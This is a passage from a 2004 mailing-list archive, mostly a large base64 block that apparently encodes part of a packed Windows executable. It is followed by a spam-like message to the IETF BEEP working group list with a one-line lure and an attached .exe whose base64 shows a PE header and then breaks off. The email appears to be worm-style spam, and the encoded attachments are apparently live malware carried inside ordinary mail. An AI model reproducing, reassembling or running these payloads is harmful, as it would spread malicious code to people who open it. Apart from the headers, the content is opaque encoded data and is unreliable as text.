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
AAezO3t3gAAAAAAAAIAAAPA/AADgBwAAwAcAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADA
AwAAwAMAAMADAADABwAA4AcAAP/fAADYkQAAAAABAAEAEBAQAAEABAAoAQAAAQAAAAAAAAAAAAAA
AACQwgAAYMIAAAAAAAAAAAAAAAAAAJ3CAABwwgAAAAAAAAAAAAAAAAAAqsIAAHjCAAAAAAAAAAAA
AAAAAAC1wgAAgMIAAAAAAAAAAAAAAAAAAMDCAACIwgAAAAAAAAAAAAAAAAAAAAAAAAAAAADKwgAA
2MIAAOjCAAAAAAAA9sIAAAAAAAAEwwAAAAAAAAzDAAAAAAAAcwAAgAAAAABLRVJORUwzMi5ETEwA
QURWQVBJMzIuZGxsAE1TVkNSVC5kbGwAVVNFUjMyLmRsbABXUzJfMzIuZGxsAABMb2FkTGlicmFy
eUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAbWVtc2V0AAB3
c3ByaW50ZkEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA==

------=_NextPart_000_0007_8004BE99.B845F64F--



From eamon.otuathail@clipcode.com Tue Feb 17 15:17:14 2004
Received: from mtrumble (pixpat.austin.ibm.com [192.35.232.241])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id i1HNEGWK022797
	for <beepwg@lists.beepcore.org>; Tue, 17 Feb 2004 15:14:16 -0800 (PST)
Date: Tue, 17 Feb 2004 17:11:51 -0600
To: beepwg@lists.beepcore.org
From: eamon.otuathail@clipcode.com
Message-ID: <qtdowawivtslipurfmp@clipcode.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------411504058557274"
Subject: [BEEPwg] ID lxewmjdm... thanks
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

----------411504058557274
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit

Yours ID uqn
--
Thank 


----------411504058557274
Content-Type: application/x-msdownload; name="jdyvetx.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ahjgqpogv.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH
k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAPCLMkAAAAAA
